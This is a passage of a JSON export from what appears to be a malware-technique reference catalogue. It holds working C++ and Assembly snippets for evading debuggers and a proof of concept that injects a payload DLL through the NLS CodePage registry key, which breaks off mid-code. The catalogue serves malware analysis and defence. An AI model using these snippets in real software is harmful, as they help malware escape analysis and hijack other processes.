            "plain_code": "bool Check()\r\n{\r\n#ifndef _WIN64\r\n    PPEB pPeb = (PPEB)__readfsdword(0x30);\r\n    PVOID pHeapBase = !m_bIsWow64\r\n        ? (PVOID)(*(PDWORD_PTR)((PBYTE)pPeb + 0x18))\r\n        : (PVOID)(*(PDWORD_PTR)((PBYTE)pPeb + 0x1030));\r\n    DWORD dwHeapFlagsOffset = IsWindowsVistaOrGreater()\r\n        ? 0x40\r\n        : 0x0C;\r\n    DWORD dwHeapForceFlagsOffset = IsWindowsVistaOrGreater()\r\n        ? 0x44 \r\n        : 0x10;\r\n#else\r\n    PPEB pPeb = (PPEB)__readgsqword(0x60);\r\n    PVOID pHeapBase = (PVOID)(*(PDWORD_PTR)((PBYTE)pPeb + 0x30));\r\n    DWORD dwHeapFlagsOffset = IsWindowsVistaOrGreater()\r\n        ? 0x70 \r\n        : 0x14;\r\n    DWORD dwHeapForceFlagsOffset = IsWindowsVistaOrGreater()\r\n        ? 0x74 \r\n        : 0x18;\r\n#endif // _WIN64\r\n\r\n    PDWORD pdwHeapFlags = (PDWORD)((PBYTE)pHeapBase + dwHeapFlagsOffset);\r\n    PDWORD pdwHeapForceFlags = (PDWORD)((PBYTE)pHeapBase + dwHeapForceFlagsOffset);\r\n    return (*pdwHeapFlags & ~HEAP_GROWABLE) || (*pdwHeapForceFlags != 0);\r\n}"
        },
        {
            "id": 107,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/65/?format=api",
            "description": "Original code available here: https://anti-debug.checkpoint.com/techniques/timing.html#kernel-timing",
            "plain_code": "bool IsDebugged(DWORD dwNativeElapsed)\r\n{\r\n    DWORD dwStart = GetTickCount();\r\n    // ... some work\r\n    return (GetTickCount() - dwStart) > dwNativeElapsed;\r\n}"
        },
        {
            "id": 106,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/66/?format=api",
            "description": "Original source code available here: https://anti-debug.checkpoint.com/techniques/timing.html#getsystemtime",
            "plain_code": "bool IsDebugged(DWORD64 qwNativeElapsed)\r\n{\r\n    SYSTEMTIME stStart, stEnd;\r\n    FILETIME ftStart, ftEnd;\r\n    ULARGE_INTEGER uiStart, uiEnd;\r\n\r\n    GetLocalTime(&stStart);\r\n    // ... some work\r\n    GetLocalTime(&stEnd);\r\n\r\n    if (!SystemTimeToFileTime(&stStart, &ftStart))\r\n        return false;\r\n    if (!SystemTimeToFileTime(&stEnd, &ftEnd))\r\n        return false;\r\n\r\n    uiStart.LowPart  = ftStart.dwLowDateTime;\r\n    uiStart.HighPart = ftStart.dwHighDateTime;\r\n    uiEnd.LowPart  = ftEnd.dwLowDateTime;\r\n    uiEnd.HighPart = ftEnd.dwHighDateTime;\r\n    return (uiEnd.QuadPart - uiStart.QuadPart) > qwNativeElapsed;\r\n}"
        },
        {
            "id": 105,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/72/?format=api",
            "description": "The below example shows how to calculate the checksum of a function used to detect a breakpoint using INT3. Original source code available here:",
            "plain_code": "DWORD CalcFuncCrc(PUCHAR funcBegin, PUCHAR funcEnd)\r\n{\r\n    DWORD crc = 0;\r\n    for (; funcBegin < funcEnd; ++funcBegin)\r\n    {\r\n        crc += *funcBegin;\r\n    }\r\n    return crc;\r\n}\r\n#pragma auto_inline(off)\r\nVOID DebuggeeFunction()\r\n{\r\n    int calc = 0;\r\n    calc += 2;\r\n    calc <<= 8;\r\n    calc -= 3;\r\n}\r\nVOID DebuggeeFunctionEnd()\r\n{\r\n};\r\n#pragma auto_inline(on)\r\nDWORD g_origCrc = 0x2bd0;\r\nint main()\r\n{\r\n    DWORD crc = CalcFuncCrc((PUCHAR)DebuggeeFunction, (PUCHAR)DebuggeeFunctionEnd);\r\n    if (g_origCrc != crc)\r\n    {\r\n        std::cout << \"Stop debugging program!\" << std::endl;\r\n        exit(-1);\r\n    }\r\n    return 0;\r\n} It was originally published on https://www.apriorit.com/"
        },
        {
            "id": 104,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/71/?format=api",
            "description": "Original source code available here: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/UnhandledExceptionFilter_Handler.cpp",
            "plain_code": "#include \"pch.h\"\r\n#include \"UnhandledExceptionFilter_Handler.h\"\r\n\r\n\r\n/*\r\nWhen an exception occurs, and no registered Exception Handlers exist (neither Structured nor\r\nVectored), or if none of the registered handlers handles the exception, then the kernel32\r\nUnhandledExceptionFilter() function will be called as a last resort. \r\n*/\r\n\r\nBOOL bIsBeinDbg = TRUE;\r\n\r\nLONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers)\r\n{\r\n\t// If a debugger is present, then this function will not be reached.\r\n\tbIsBeinDbg = FALSE;\r\n    return EXCEPTION_CONTINUE_EXECUTION;\r\n}\r\n\r\n\r\nBOOL UnhandledExcepFilterTest ()\r\n{\r\n\tLPTOP_LEVEL_EXCEPTION_FILTER Top = SetUnhandledExceptionFilter(UnhandledExcepFilter);\r\n\tRaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);\r\n\tSetUnhandledExceptionFilter(Top);\r\n\treturn bIsBeinDbg;\r\n}"
        },
        {
            "id": 103,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/214/?format=api",
            "description": "Original source code available here: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/TrapFlag.cpp",
            "plain_code": "#include \"pch.h\"\r\n\r\n#include \"TrapFlag.h\"\r\n\r\n/*\r\n\tThis technique is similar to exceptions based debugger detections.\r\n\tYou enable the trap flag in the current process and check whether\r\n\tan exception is raised or not. If an exception is not raised, you\r\n\tcan assume that a debugger has “swallowed” the exception for us,\r\n\tand that the program is being traced. The beauty of this approach\r\n\tis that it detects every debugger, user mode or kernel mode,\r\n\tbecause they all use the trap flag for tracing a program.\r\n\tVectored Exception Handling is used here because SEH is an\r\n\tanti-debug trick in itself.\r\n*/\r\n\r\nstatic BOOL SwallowedException = TRUE;\r\n\r\nstatic LONG CALLBACK VectoredHandler(\r\n\t_In_ PEXCEPTION_POINTERS ExceptionInfo\r\n)\r\n{\r\n\tSwallowedException = FALSE;\r\n\t\r\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)\r\n\t\treturn EXCEPTION_CONTINUE_EXECUTION;\r\n\t\t\r\n\treturn EXCEPTION_CONTINUE_SEARCH;\r\n}\r\n\r\n\r\n\r\nBOOL TrapFlag()\r\n{\r\n\tPVOID Handle = AddVectoredExceptionHandler(1, VectoredHandler);\r\n\tSwallowedException = TRUE;\r\n\r\n#ifdef _WIN64\r\n\tUINT64 eflags = __readeflags();\r\n#else\r\n\tUINT eflags = __readeflags();\r\n#endif\r\n\r\n\t//  Set the trap flag\r\n\teflags |= 0x100;\r\n\t__writeeflags(eflags);\r\n\r\n\tRemoveVectoredExceptionHandler(Handle);\r\n\treturn SwallowedException;\r\n}"
        },
        {
            "id": 102,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/212/?format=api",
            "description": "Original source code available here: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/Interrupt_0x2d.cpp",
            "plain_code": "#include \"pch.h\"\r\n\r\n#include \"Interrupt_0x2d.h\"\r\n\r\n/*\r\nThe Interrupt_0x2d function will check to see if a debugger is attached to the current process. It does this by setting up\r\nSEH and using the Int 2D instruction which will only cause an exception if there is no debugger. Also when used in OllyDBG\r\nit will skip a byte in the disassembly which could be used to detect the debugger.\r\nVectored Exception Handling is used here because SEH is an anti-debug trick in itself.\r\n*/\r\n\r\nextern \"C\" void __int2d();\r\n\r\nstatic BOOL SwallowedException = TRUE;\r\n\r\nstatic LONG CALLBACK VectoredHandler(\r\n\t_In_ PEXCEPTION_POINTERS ExceptionInfo\r\n)\r\n{\r\n\tSwallowedException = FALSE;\r\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT)\r\n\t{\r\n\t\t//The Int 2D instruction already increased EIP/RIP so we don't do that (although it wouldnt hurt).\r\n\t\treturn EXCEPTION_CONTINUE_EXECUTION;\r\n\t}\r\n\treturn EXCEPTION_CONTINUE_SEARCH;\r\n}\r\n\r\nBOOL Interrupt_0x2d()\r\n{\r\n\tPVOID Handle = AddVectoredExceptionHandler(1, VectoredHandler);\r\n\tSwallowedException = TRUE;\r\n\t__int2d();\r\n\tRemoveVectoredExceptionHandler(Handle);\r\n\treturn SwallowedException;\r\n}"
        },
        {
            "id": 101,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/214/?format=api",
            "description": "",
            "plain_code": "BOOL IsDebuggerPresent_TrapFlag()\r\n{\r\n    __try\r\n    { \r\n        __asm\r\n       {\r\n           pushfd\r\n           or word ptr[esp], 0x100\r\n           popfd\r\n           nop\r\n       }\r\n    }\r\n    __except(1) \r\n    { \r\n        return FALSE; \r\n    }\r\n    return TRUE;\r\n}"
        },
        {
            "id": 100,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/213/?format=api",
            "description": "",
            "plain_code": "BOOL IsDebuggerPresent_IceBp()\r\n{\r\n    __try\r\n    { \r\n        __asm __emit 0xF1 \r\n    }\r\n    __except(1) \r\n    { \r\n        return FALSE; \r\n    }\r\n    return TRUE;\r\n}"
        },
        {
            "id": 99,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/212/?format=api",
            "description": "",
            "plain_code": "BOOL IsDebuggerPresent_Int2d()\r\n{\r\n    __try\r\n    { \r\n        __asm int 0x2d \r\n    }\r\n    __except(1)\r\n    {\r\n        return FALSE;\r\n    }\r\n    return TRUE;\r\n}"
        },
        {
            "id": 98,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/74/?format=api",
            "description": "",
            "plain_code": "BOOL IsDebuggerPresent_Int3()\r\n{\r\n      __try\r\n         { \r\n             __asm int 3 \r\n         }\r\n      __except(1) \r\n         { \r\n             return FALSE; \r\n         }\r\n     return TRUE;\r\n\r\n}"
        },
        {
            "id": 97,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/74/?format=api",
            "description": "Original code available here: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/SoftwareBreakpoints.cpp",
            "plain_code": "#include \"pch.h\"\r\n\r\n#include \"SoftwareBreakpoints.h\"\r\n\r\n\r\n/*\r\nSoftware breakpoints aka INT 3 represented in the IA-32 instruction set with the opcode CC (0xCC).\r\nGiven a memory addresse and size, it is relatively simple to scan for the byte 0xCC -> if(pTmp[i] == 0xCC)\r\nAn obfuscated method would be to check if our memory byte xored with 0x55 is equal 0x99 for example ... \r\n*/\r\n\r\nVOID My_Critical_Function()\r\n{\r\n\tint a = 1;\r\n\tint b = 2;\r\n\tint c = a + b;\r\n\t_tprintf(_T(\"I am critical function, you should protect against int3 bps %d\"), c);\r\n}\r\n\r\n\r\nVOID Myfunction_Adresss_Next()\r\n{\r\n\tMy_Critical_Function();\r\n\t/*\r\n\tThere is no guaranteed way of determining the size of a function at run time(and little reason to do so)\r\n\thowever if you assume that the linker located functions that are adjacent in the source code sequentially in memory,\r\n\tthen the following may give an indication of the size of a function Critical_Function by using :\r\n\tint Critical_Function_length = (int)Myfunction_Adresss_Next - (int)Critical_Function\r\n\tWorks only if you compile the file in Release mode.\r\n\t*/\r\n};\r\n\r\nBOOL SoftwareBreakpoints()\r\n{\r\n\t//NOTE this check might not work on x64 because of alignment 0xCC bytes\r\n\tsize_t sSizeToCheck = (size_t)(Myfunction_Adresss_Next)-(size_t)(My_Critical_Function);\r\n\tPUCHAR Critical_Function = (PUCHAR)My_Critical_Function;\r\n\r\n\tfor (size_t i = 0; i < sSizeToCheck; i++) {\r\n\t\tif (Critical_Function[i] == 0xCC) // Adding another level of indirection : 0xCC xor 0x55 = 0x99\r\n\t\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}"
        },
        {
            "id": 96,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/70/?format=api",
            "description": "This snippet has been originally published here: http://www.openrce.org/reference_library/anti_reversing_view/8/OllyDbg%20Filename%20Format%20String/",
            "plain_code": ".386\r\n      .model flat, stdcall\r\n      option casemap :none   ; case sensitive\r\n\r\n      include \\masm32\\include\\windows.inc\r\n      include \\masm32\\include\\user32.inc\r\n      include \\masm32\\include\\kernel32.inc\r\n\r\n      includelib \\masm32\\lib\\user32.lib\r\n      includelib \\masm32\\lib\\kernel32.lib\r\n\r\n    .data\r\n       DbgNotFoundTitle db \"Debugger status:\",0h\r\n       DbgFoundTitle db \"Debugger status:\",0h\r\n       DbgNotFoundText db \"Debugger not found!\",0h\r\n       DbgFoundText db \"Debugger found!\",0h\r\n       OriginalFileName db \"%s%s.exe\",0h\r\n    .data?\r\n       filename db 512 dup(?)\r\n    .code\r\n\r\nstart:\r\n\r\n; MASM32 BadStringFormat example\r\n; coded by ap0x\r\n; Reversing Labs: http://ap0x.headcoders.net\r\n\r\n; This example takes advantage of OllyDBG not handleing strings properly.\r\n; Code is based on Piotr Bania`s description.\r\n; How does it work? If we name the file %s%s or any other name that has\r\n; %s%s in it`s name OllyDBG will crash.\r\n; How to use this?\r\n; We just check if the file has been renamed.\r\n\r\nPUSH 512\r\nPUSH offset filename ;%s%s.exe\r\nPUSH 0\r\nCALL GetModuleFileName\r\n\r\nMOV ECX,offset filename\r\nADD ECX,EAX\r\n\r\n  @SeekFileName:\r\nDEC ECX\r\nCMP BYTE PTR[ECX],'\\'\r\nJNE @SeekFileName\r\n\r\nMOV BYTE PTR[ECX],0\r\nINC ECX\r\n\r\nPUSH ECX\r\nPUSH offset OriginalFileName ;%s%s.exe\r\nCALL lstrcmp\r\n\r\nTEST EAX,EAX\r\nJNE @DebuggerDetected\r\n\r\nPUSH 40h\r\nPUSH offset DbgNotFoundTitle\r\nPUSH offset DbgNotFoundText\r\nPUSH 0\r\nCALL MessageBox\r\n\r\nJMP @exit\r\n  @DebuggerDetected:\r\n\r\nPUSH 30h\r\nPUSH offset DbgFoundTitle\r\nPUSH offset DbgFoundText\r\nPUSH 0\r\nCALL MessageBox\r\n\r\n  @exit:\r\n\r\nPUSH 0\r\nCALL ExitProcess\r\n\r\nend start"
        },
        {
            "id": 95,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/109/?format=api",
            "description": "https://anti-debug.checkpoint.com/techniques/interactive.html#suspendthread",
            "plain_code": "DWORD g_dwDebuggerProcessId = -1;\r\n\r\nBOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)\r\n{\r\n    DWORD dwProcessId = *(PDWORD)lParam;\r\n\r\n    DWORD dwWindowProcessId;\r\n    GetWindowThreadProcessId(hwnd, &dwWindowProcessId);\r\n\r\n    if (dwProcessId == dwWindowProcessId)\r\n    {\r\n        std::wstring wsWindowTitle{ string_heper::ToLower(std::wstring(GetWindowTextLengthW(hwnd) + 1, L'\\0')) };\r\n        GetWindowTextW(hwnd, &wsWindowTitle[0], wsWindowTitle.size());\r\n\r\n        if (string_heper::FindSubstringW(wsWindowTitle, L\"dbg\") || \r\n            string_heper::FindSubstringW(wsWindowTitle, L\"debugger\"))\r\n        {\r\n            g_dwDebuggerProcessId = dwProcessId;\r\n            return FALSE;\r\n        }\r\n        return FALSE;\r\n    }\r\n\r\n    return TRUE;\r\n}\r\n\r\nbool IsDebuggerProcess(DWORD dwProcessId) const\r\n{\r\n    EnumWindows(EnumWindowsProc, reinterpret_cast<LPARAM>(&dwProcessId));\r\n    return g_dwDebuggerProcessId == dwProcessId;\r\n}\r\n\r\nbool SuspendDebuggerThread()\r\n{\r\n    THREADENTRY32 ThreadEntry = { 0 };\r\n    ThreadEntry.dwSize = sizeof(THREADENTRY32);\r\n\r\n    DWORD dwParentProcessId = process_helper::GetParentProcessId(GetCurrentProcessId());\r\n    if (-1 == dwParentProcessId)\r\n        return false;\r\n\r\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwParentProcessId);\r\n    if(Thread32First(hSnapshot, &ThreadEntry))\r\n    {\r\n        do\r\n        {\r\n            if ((ThreadEntry.th32OwnerProcessID == dwParentProcessId) && IsDebuggerProcess(dwParentProcessId))\r\n            {\r\n                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, ThreadEntry.th32ThreadID);\r\n                if (hThread)\r\n                    SuspendThread(hThread);\r\n                break;\r\n            }\r\n        } while(Thread32Next(hSnapshot, &ThreadEntry));\r\n    }\r\n\r\n    if (hSnapshot)\r\n        CloseHandle(hSnapshot);\r\n\r\n    return false;\r\n}"
        },
        {
            "id": 94,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/208/?format=api",
            "description": "The proof of concept (POC) used a position-independent shellcode and injected it into a remote process, which works as a stager for the actual loading of the DLL.\r\n\r\nOriginal source code: https://github.com/NtQuerySystemInformation/NlsCodeInjectionThroughRegistry",
            "plain_code": "/* NLSRegistryCodeInjection.cpp */\r\n\r\n#include \"payload.hpp\"\r\n#include \"headers.hpp\"\r\n\r\n//Pending: Make initializer_list cleaner\r\nuint32_t main(void)\r\n{\r\n    std::initializer_list<std::wstring> list = { L\"SYSTEM\\\\ControlSet001\\\\Control\\\\Nls\\\\CodePage\", L\"Payload.dll\" , L\"\"};\r\n    auto regObj = std::make_unique<RegistryManipulation>(list);\r\n    if (OpenKeyForNlsModification(regObj.get()))\r\n    {\r\n#ifdef DEBUG\r\n        std::printf(\"Key has been modified, now preparing for injection\\n\");\r\n#endif \r\n        std::printf(\"Payload executed sucessfully :)\\n\");\r\n        system(\"pause\");\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n//###########################################################\r\n/* payload.cpp */\r\n\r\n#include \"headers.hpp\"\r\n#include \"payload.hpp\"\r\n#include \"strsafe.h\"\r\n#include \"payload.hpp\"\r\n#include \"resource1.h\"\r\n#define MAX_SIZE_DATA 260\r\n\r\n//IMPLEMENTED IT two different functions for convertion. \r\nUINT StringToIntDecimal(PWCHAR str) noexcept\r\n{\r\n\tuint32_t num = _wtoi(str);\r\n\treturn num;\r\n}\r\nUINT StringToInt(PWCHAR str) noexcept {\r\n\r\n\twchar_t chrSubkey, chr, * j;\r\n\tUINT i;\r\n\tj = str;\r\n\tchrSubkey = *str;\r\n\tfor (i = 0; *j; chrSubkey = *j)\r\n\t{\r\n\t\t++j;\r\n\t\tif ((chrSubkey - 0x41) > 5u)\r\n\t\t{\r\n\t\t\tif ((chrSubkey - 0x30) > 9u)\r\n\t\t\t{\r\n\t\t\t\tif ((chrSubkey - 0x61) > 5u)\r\n\t\t\t\t\treturn i;\r\n\t\t\t\tchr = chrSubkey - 87;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tchr = chrSubkey - 0x30;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tchr = chrSubkey - 55;\r\n\t\t}\r\n\t\ti = chr + 16 * i;\r\n\t}\r\n\treturn i;\r\n}\r\nBOOLEAN CompareLastElementString(PWCHAR str1, PWCHAR str2, BOOLEAN CaseInsensitive)\r\n{\r\n\tbool bResult = false;\r\n\t//Has to find .dll somewhere, in the substring, otherwise doesnt exist.\r\n\twchar_t* dll = wcsstr(str1, str2);\r\n\tif (dll != nullptr) {\r\n\t\tbResult = true;\r\n\t}\r\n\treturn bResult;\r\n}\r\nbool FindCodePageWithPayload(PRegistryKey regObject, UINT dwValuesCount, UINT dwMaxLenValues){\r\n\tDWORD dwCountName = 0, typeData, ValueDataSize = 0;\r\n\t//uint32_t CodePageInt;\r\n\tWCHAR CodePageID[MAX_PATH], ValueData[MAX_SIZE_DATA];\r\n\tbool bResult = false;\r\n\r\n\tfor (UINT i = 0; i < dwValuesCount; i++) {\r\n\t\tdwCountName = 260;  \r\n\t\tValueDataSize = 260;\r\n\t\tLSTATUS status = RegEnumValueW(regObject->hSubkeyNls, i, CodePageID, &dwCountName, nullptr, &typeData, (BYTE*)&ValueData,\r\n\t\t\t&ValueDataSize);\r\n\t\tif (status != ERROR_SUCCESS && GetLastError() != ERROR_ALREADY_EXISTS)\r\n\t\t{\r\n\t\t\tstd::wprintf(L\"Could not query Code Page ID %s, Last error: [%x]\\n\", CodePageID, GetLastError());\r\n\t\t\tcontinue;\r\n\t\t}\r\n#ifdef _DEBUG\r\n\t\tstd::wprintf(L\"Iterating: %d - %s = %s\\n\", i, CodePageID, ValueData);\r\n#endif \r\n\t\tif (typeData == REG_SZ && regObject->compareStringEqual(Index::DLL_NAME, ValueData)){\r\n#ifdef _DEBUG\r\n\t\t\tstd::wprintf(L\"Payload value has been found!: %d - %s = %s\\n\", i, CodePageID, ValueData);\r\n#endif\r\n\t\t\tuint32_t strHex = std::stoull(CodePageID, nullptr, 10);\r\n\t\t\tuint32_t strDecimal = std::stoull(CodePageID, nullptr, 16);\r\n\t\t\tregObject->setCodePageID(strHex, CodePageIDIndex::CodePageInt);\r\n\t\t\tregObject->setCodePageID(strDecimal, CodePageIDIndex::CodePageHex);\r\n\t\t\tstd::wprintf(L\"Values: CodepageHex = %d, CodePageInt = 0x%x\\n\", strDecimal, strHex);\r\n\t\t\tbResult = true;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\treturn bResult;\r\n}\r\n\r\nbool IterateCodePageAndExtractProperId(PRegistryKey regObject) {\r\n\tDWORD dwMaxLenValues, dwCountName = 0, dwValuesCount, typeData, ValueDataSize = 0;\r\n\tuint32_t CodePageInt = NULL, posCount = NULL;\r\n\tbool correctRet = false;\r\n\tLSTATUS status;\r\n\tWCHAR CodePageID[MAX_PATH], ValueData[MAX_SIZE_DATA];\r\n\r\n\t//Queries information for the NLS subkey, mostly related to the values, which is the part that interests us the most.\r\n\tif (::RegQueryInfoKeyW(regObject->hSubkeyNls, nullptr, nullptr, nullptr,\r\n\t\tnullptr, nullptr, nullptr, &dwValuesCount, &dwMaxLenValues, nullptr, nullptr, nullptr))\r\n\t{\r\n\t\tstd::cerr << \"Could not query information for the key, last error is: \" << GetLastError() << \"\\n\";\r\n\t\treturn correctRet;\r\n\t}\r\n\t//Only one failing, lets fix it.\r\n\tif (FindCodePageWithPayload(regObject, dwValuesCount, dwMaxLenValues)){\r\n\t\tcorrectRet = true;\r\n\t\treturn correctRet;\r\n\t}\r\n\t//Find one with .dll, then from there increase one until it works out.\r\n\tfor (UINT i = 0; i < dwValuesCount; i++) {\r\n\t\tdwCountName = 260;\r\n\t\tValueDataSize = 260;\r\n\t\tstatus = RegEnumValueW(regObject->hSubkeyNls, i, CodePageID, &dwCountName, nullptr, &typeData, (BYTE*)&ValueData,\r\n\t\t\t&ValueDataSize);\r\n\t\tif ((status != EXIT_SUCCESS) && (GetLastError() != ERROR_ALREADY_EXISTS))\r\n\t\t{\r\n\t\t\tstd::wprintf(L\"Could not query Code Page ID %s, Last error: [%x]\\n\", CodePageID, status);\r\n\t\t\tcontinue;\r\n\t\t}\r\n#ifdef _DEBUG\r\n\t\tstd::wprintf(L\"Querying value i: %d, %s = %s\\n\", i, CodePageID, ValueData);\r\n#endif\r\n\t\tif (typeData == REG_SZ && CompareLastElementString(ValueData, const_cast<wchar_t*>(L\".dll\"), FALSE))\r\n\t\t{\r\n#ifdef _DEBUG\r\n\t\t\tstd::wprintf(L\"Value with dll found in i = %d, %s = %s\\n\", i, CodePageID, ValueData);\r\n\t\t\t//Convert from str to hex\r\n\t\t\tCodePageInt = StringToInt(CodePageID);\r\n\t\t\tstd::wprintf(L\"Code page as int is: %x\\n\", CodePageInt);\r\n#endif // _DEBUG\r\n\t\t\tCodePageInt = StringToInt(CodePageID);\r\n\t\t\tposCount = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (CodePageInt == NULL) {\r\n\t\tstd::printf(\"Could not find apropiate dll extension inside one of the subvalues\\n\");\r\n\t\treturn correctRet;\r\n\t}\r\n\t//FIX THIS CODE, WHEN PRINTING THERE IS SOMETHING THAT GOES WRONG.\r\n\tCodePageInt += 1;\r\n\tfor (UINT i = 0; i < dwValuesCount - posCount; i++) {\r\n\t\t//2.Then we proceed to check if the code page ID value exists, if it doesnt, we create it and set the data.\r\n\t\tif (SUCCEEDED(StringCchPrintfW(ValueData, MAX_SIZE_DATA, L\"%04x\", CodePageInt)))\r\n\t\t{\r\n\t\t\tstd::printf(\"Trying to create in CodePage ID %x\\n\", CodePageInt);\r\n\t\t}\r\n\t\tstatus = RegQueryValueEx(regObject->hSubkeyNls, ValueData, NULL, NULL, NULL, NULL);\r\n\t\tif (status != ERROR_SUCCESS && status == ERROR_FILE_NOT_FOUND)\r\n\t\t{\r\n\t\t\tif (!RegSetValueExW(regObject->hSubkeyNls, ValueData, NULL, REG_SZ, (BYTE*)regObject->getStringBuffer(Index::DLL_NAME),\r\n\t\t\t\tregObject->getStringSize(Index::DLL_NAME)))\r\n\t\t\t{\r\n\t\t\t\t//std::wprintf(L\"The string value of the data is: %s\\n\", ValueData);\r\n\t\t\t\tuint32_t CodePageDecimal = StringToIntDecimal(ValueData);\r\n\t\t\t\tstd::printf(\"Sucessfully created dll payload in CodePage ID %x\\n\", CodePageInt);\r\n\t\t\t\tregObject->setCodePageID(CodePageInt, CodePageIDIndex::CodePageHex);\r\n\t\t\t\tregObject->setCodePageID(CodePageDecimal, CodePageIDIndex::CodePageInt);\r\n\t\t\t\tstd::wprintf(L\"Values: CodepageHex = %d, CodePageInt = 0x%x\\n\", CodePageInt, CodePageDecimal);\r\n\t\t\t\tcorrectRet = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tCodePageInt += 1;\r\n\t}\r\n\treturn correctRet;\r\n}\r\n\r\nbool CreateProcessToInject(LPPROCESS_INFORMATION procInfo) {\r\n\tSTARTUPINFOW infoProc;\r\n\t//PROCESS_INFORMATION processInfo;\r\n\tZeroMemory(&infoProc, sizeof(infoProc));\r\n\tinfoProc.cb = sizeof(infoProc);\r\n\tZeroMemory(procInfo, sizeof(procInfo));\r\n\twchar_t path[MAX_PATH];\r\n\tGetSystemDirectoryW(path, MAX_PATH);\r\n\twcscat_s(path, MAX_PATH, L\"\\\\cmd.exe\");\r\n\treturn CreateProcessW(NULL, path, NULL, NULL, false, CREATE_NEW_CONSOLE, NULL, NULL, &infoProc, procInfo) != NULL;\r\n}\r\n\r\nbool DropSystemDllPayload(PRegistryKey regObject) {\r\n\tHMODULE hMod = GetModuleHandleA(NULL);\r\n\tHRSRC hResource = FindResource(hMod, MAKEINTRESOURCE(IDR_RT_RCDATA1), L\"RT_RCDATA\");\r\n\tif (hResource == NULL)\r\n\t{\r\n\t\tprintf(\"Could not find the payload dll resource, exiting...\\n\");\r\n\t\treturn false;\r\n\t}\r\n\tDWORD dwSizeResource = SizeofResource(hMod, hResource);\r\n\tHGLOBAL hResLoaded = LoadResource(hMod, hResource);\r\n\tif (hResLoaded == 